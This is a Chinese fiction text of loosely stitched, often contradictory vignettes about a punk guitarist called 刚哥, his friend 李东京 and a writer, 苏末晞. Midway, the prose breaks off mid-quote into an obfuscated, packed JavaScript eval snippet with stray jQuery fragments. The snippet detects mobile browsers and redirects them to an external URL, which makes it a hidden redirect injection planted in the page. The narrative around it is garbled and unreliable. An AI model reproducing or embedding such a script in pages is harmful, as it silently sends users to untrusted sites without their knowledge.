深夜的医院直播间里，重病女主播的脸色苍白如身后的墙壁。弹幕稀疏地飘过几条祝福，直到一个ID为"鲨鱼辣椒"的用户突然刷屏："以马内利！主播挺住！我明天来给你家打洞！"附带十个"电钻轰鸣"礼物，特效是钢筋水泥崩裂的画面。
女主播虚弱地笑了："谢谢辣椒哥...你到底是装修还是搞摇滚的？"
红色加粗的弹幕立即回复："电钻和吉他，都是给世界开洞的工具！"
第二天，医院消防通道里传来刺耳的调音声。刚哥蹲在台阶上摆弄吉他，李东京在一旁清点药费。护士探头警告："施工请去——"话音未落，刚哥已经扫弦弹起金属版的《奇异恩典》，走廊声控灯应声炸裂。病房监控画面里，女主播的手指随着节奏轻敲输液管，心率从45升到了78。
护士在日志上记录："今日有''装修噪音''，但病人血氧反常好转。"
刚哥的工具箱里，电钻头上刻着"约翰福音3:16"，绝缘胶带缠成十字架形状，水平仪里的酒精泡组成了"阿门"字样。他在女主播的石膏上签名，画了一个带铆钉的十字架，落款是："鲨鱼辣椒，专业打洞二十年。"
缴费窗口前，李东京递出银行卡。收银员问："又是匿名捐款？"他刚要点头，身后的刚哥突然高喊："记我账上！老子今天打穿三堵承重墙！"账单抬头写着："装修工程款（灵魂加固项目）"。
出院直播那天，刚哥连麦弹唱走调版的《哈利路亚》，故意把吉他调成电钻声。弹幕一片"救命"的哀嚎中，镜头偶然拍到他背后墙上挂着的儿童画："谢谢辣椒叔叔帮我爸爸付手术费"。下播前的最后一句话是："下次漏水还找我啊！以马内利！"黑屏后，传来清晰的打火机点烟声。
在纹身店里，刚哥躺在刺青椅上，右肋皮肤绷紧。"确定要约翰福音3:55？"纹身师问。"就这节，最带劲。"刚哥叼着烟回答。针头扎下时，他的肌肉抽搐得像在吉他上推弦。完成品却显示"约3:16"——纹身师偷偷改了章节。"操，连墨水都背叛我。"他低声咒骂。
直播间里，女主播抽泣着说医生诊断只剩三个月。刚哥的弹幕突然弹出："约3:55！老子现编的——''上帝会派个玩电钻的天使来救你！''"李东京扶额，默默在捐款备注填上："补充医疗费（含精神损失费）"。
精神病院的医生举着病历本："为什么坚持有3:55？"刚哥掰碎药片撒向窗外："那年3月55日...好吧是4月24日，老子第一次用吉他砸爆人渣的头。"阳光透过铁窗，地上的碎药片拼成了3:55。
最后，刚哥踹开教堂大门，把吉他塞进捐款箱。神父叹气："约翰福音只有21章...""那就续写啊！"他扯开衣领露出错版纹身："老子的血就是新约！"最后一个画面里，吉他琴颈从捐款箱刺出，像十字架倾斜了15度。
石像鬼是刚哥的镜像，一个用痞气保护柔软，一个用风化掩饰悲伤
当AKA传媒的摄像头扫过教堂屋顶时——
石像鬼的阴影，恰好覆盖了刚哥和李东京并肩而立的轮廓。
那天夜里，一场罕见的流星雨划过东京上空。
有人说看见两只黑色的影子站在晴空塔顶，一个像天使，一个像石像鬼。
他们一个站在光里，一个蹲在阴影处，却看着同一个方向
他们不是死神，只是天堂的引路人
深夜的FamilyMart，李东京将最后一罐热咖啡放在收银台边。刚哥倚在杂志架旁，随手翻开一本《天国旅行指南》。"这个，不结账吗？"店员问。李东京微笑："是留给一位穿灰色西装的大叔的。"三分钟后，醉酒的上班族推门而入，拿起咖啡一饮而尽。"好暖......"他喃喃自语，随后倒在长椅上，像是睡着了。刚哥合上书："他会在梦里见到女儿。"
雨夜里，李东京驾驶着白色丰田，刚哥坐在副驾数着雨滴。"去六本木？"他问后座的年轻女人。女人摇头："我......不知道该去哪。"刚哥递给她一条毛毯："那就闭上眼睛吧。"车驶过彩虹大桥时，女人的呼吸渐渐平缓。"她终于能见到外婆了。"刚哥望着后视镜里消散的雨雾。
新宿都厅顶楼，李东京调整着望远镜的焦距。刚哥往投币口塞入一枚500日元硬币。"看到那个穿红裙子的女孩了吗？"刚哥指向涩谷十字路口。"她会在三十秒后遇见命中注定的人。"望远镜转向夜空，镜头里映出流星划过。翌日新闻："一对情侣在电车站相拥长眠，面容安详。"
自动贩卖机前，李东京犹豫不决。刚哥直接按下"热蜂蜜牛奶"。易拉罐滚出时，身后传来女高中生的惊呼："啊，是最后一瓶！"他们默默离开，听着硬币再次投入的声音。刚哥低声说："她下个月会被星探发掘——在天国。"
山手线的末班车上，李东京和刚哥分别坐在车厢两端。乘客们昏昏欲睡，只有刚哥数着吊环摇晃的次数。"这站要下吗？"乘务员问。两人同时摇头。车门关闭时，所有乘客都整理衣领，像是准备赴一场神圣的约会。
夜色中，李东京的白衣轻扬。刚哥嚼着口香糖，踢开脚边的石子。"今天送走了几个？"刚哥问。李东京望向星空："足够多了。"他们不是死神，只是为迷途的灵魂点亮最后一盏灯。
凌晨三点的FamilyMart门口，刚哥蹲着抽烟，烟灰缸里积了七根烟蒂。李东京递给他一罐热咖啡。"第七个。"刚哥指了指马路对面醉倒的上班族。"嗯。"李东京把咖啡放进那人手里，轻轻合上他的手指。第二天新闻播报："一名公司职员突发心梗，手中紧握未开封的热饮。"
清晨的教堂屋顶泛着微光，刚哥坐在风化严重的石像鬼雕像旁啃着饭团。饭粒掉在石像鬼的翅膀上，像几颗小小的珍珠。
"下来吧，那里危险。"李东京站在下面仰头喊道。
刚哥掰了半块饭团，塞进石像鬼张开的嘴里："它说想尝尝便利店的味道。"
第二天，清洁工发现雕像的嘴角沾着一粒发硬的饭粒，在晨光中闪着奇异的光泽。
山手线的末班电车缓缓进站，刚哥数着车厢里的空座位："七个。"李东京默默脱下外套，仔细叠好放在其中一个座位上。车门关闭时，七个疲惫的上班族不约而同地坐下，仿佛被无形的手轻轻按住了肩膀。
"满载而归。"刚哥吹了声口哨，声音在空旷的车厢里回荡。
三天后，李东京在教堂后院找到了失踪的刚哥。他蜷缩在石像鬼雕像下面，手里攥着一把生锈的钥匙，指节因用力而发白。
"它哭了。"刚哥指着石像鬼眼角的水渍。李东京伸手摸了摸，冰凉的触感从指尖传来。
那天深夜，东京上空划过一场罕见的流星雨。有人声称看见两个黑影站在晴空塔顶，一个展开天使般的羽翼，一个保持着石像鬼的姿势，静静注视着这座不眠的城市。
暴雨中的电话亭，刚哥浑身湿透地站在里面，话筒贴着耳朵。李东京举着伞在外面等他。"打给谁？""天堂客服。"刚哥咧嘴一笑，露出缺了半颗的犬齿。"占线。"电话亭玻璃上的雨水扭曲成一张人脸，又很快被雨刷抹去。
"我死去的电动蛋黄"乐队主唱的颓废与黑色幽默，在雨夜里显得格外荒诞。刚哥对着玻璃吐烟圈，那张模糊的人脸仿佛在说："Wise little smile that spoke so safely"。而李东京伞上的乐队logo涂鸦——一个碎裂的蛋黄，在雨中若隐若现。
刚哥在每次演出终场都会砸碎一把吉他，但观众不知道：
吉他里藏着他写给前队友的忏悔信（被碎木片割裂成恶魔形状）；
拾音器里播放着天堂客服的录音："您的罪孽已转接至地狱分机..."
他用犬齿缺口叼着十字架项链，突然笑着对麦克风说：
"现在我要开始救赎了——麻烦恶魔老师给点掌声！"
台下欢呼中，李东京默默把一瓶汽油放在舞台边缘。
刚哥的坦白
他在一次采访中承认：
乐队名「我死去的电动蛋黄」是抄袭的（来自精神病院墙上的涂鸦）；
自己根本不会打篮球（奥拉朱旺的梦是嗑药后的幻觉）。刚哥的篮球梦实则是掩盖弑父记忆（父亲逼他学会计）；
结果乐迷更狂热了，称这是"真正的艺术家坦白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949891|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
"，海报被印上"Honesty is the new punk"。
李东京唯一一次打断刚哥的话：
"闭嘴。你每说一句真话，鼓手坟头的土就陷下去一寸。"
（暗示鼓手死于刚哥某次"诚实"的背叛）
刚哥从牢里出来之后抑郁症了，换了很多马甲，连队自己的小时候的朋友都只能用小号沟通，他不愿意承认自己是自己了，换上了人格解体综合症。
深夜的录音室里，刚哥疯狂地调试着失真效果器，旋钮被拧到极限。东京按住他的手："够了，再拉高频耳朵会出血。"
"关你屁事！"刚哥甩开他的手。
角落里传来李东京平静的声音："你玩音乐的样子，和玩火没区别。"
刚哥身后的战神虚影一闪而过，他抄起监听音箱狠狠砸向地面。
暴雨如注的夜晚，苏末晞站在游戏厅门口，手里攥着刚哥注销的"JOE"账号截图。"十年换八个马甲，累不累？"
刚哥叼着烟，雨水顺着他的下巴滴落："比不上你，装傻装了十年。"
她突然将截图甩在他脸上，纸张边缘划破了他的颧骨。"下次换马甲前，记得删干净搜索记录。"血珠滴在"项乔也"三个字上，像当年霉豆腐长出的白毛。
直播间里，刚哥当着三万观众的面吞下POP药片。弹幕飘过："主播在吃糖吗？"
"不，我在吃......我自己。"他的瞳孔开始扩散。屏幕突然分裂成四个画面：智慧神计算着封号风险，战神捶打着自己的胸口，天使擦拭血泪，死神调整绞索的松紧。直播间被永久封禁的提示弹出时，他的笑声戛然而止。
法庭上，刚哥剃光的脑袋泛着青茬。法官宣读着："被告利用虚拟账号诈骗......"
"我骗过最久的人，是信了''项乔也''十年的傻子！"刚哥突然大笑。
旁听席上，苏末晞缓缓站起身，脖子上挂着当年摩尔庄园的拉姆玩偶。"嗯，那个傻子今天也来了。"
2025年的音乐节后台，新人主播好奇地问："刚哥，为什么总穿菊花图案？"
他调试着效果器，头也不抬："因为有人说过......''玩火的人，最后会变成灰''。"
台下，苏末晞举起手机，屏幕显示着他十年前发的最后一条私信："如果我是火，你会是伸手的人吗？"
刚哥没有回头，但吉他solo忽然温柔得像《两只老虎》，在喧嚣的音乐节上空轻轻飘荡。
凌晨两点十五分，尖锐的猫叫声划破夜空。苏末晞从书桌前惊醒，监控画面显示三只野猫正在她门前的垃圾桶翻找食物。她揉了揉青黑的眼圈，手边是写到一半的《城市流浪动物管理建议书》。
"能不能处理这些..."她拨通环保局电话，话未说完，窗外突然传来震耳欲聋的吉他轰鸣。电话那头的值班员翻看记录："23点47分接举报，X女士深夜播放诡异咒语音乐。"
教堂地下室里，刚哥正擦拭着他的吉他。墙上贴满剪报：《网红作家苏末晞：当代赛博女巫？》。手机屏幕亮着，播放着苏末晞的直播片段："我的灵感就像魔法..."
"又在研究''异端''？"牧师推门而入。
刚哥扣下手机："只是确认举报真实性。"
垃圾分类站前，苏末晞意外撞见刚哥蹲在地上给猫群注射疫苗。工具箱上贴着"动物保护协会志愿者"的标签。两人目光相遇的瞬间——她看见他卫衣里露出的十字架，他看见她手中《流浪猫TNR计划》企划书。野猫咀嚼猫粮的声音在寂静中格外清晰。
社区调解室里，监控录像还原了真相：李大强每晚往苏末晞门口倒鱼内脏，而刚哥的吉他声其实是在驱赶野猫。
"我为我的偏见道歉。"刚哥突然起身，九十度鞠躬。
苏末晞愣住了："我...也误会你了。"
深夜的阳台上，苏末晞改稿时听见楼下温柔的吉他声。刚哥抬头，看见她窗口温暖的台灯光。两只猫蹲在中间的垃圾桶上，安静地舔着爪子。
苏末晞在新书《破除迷信指南》的扉页写道："最危险的魔法，是把活人变成标签。"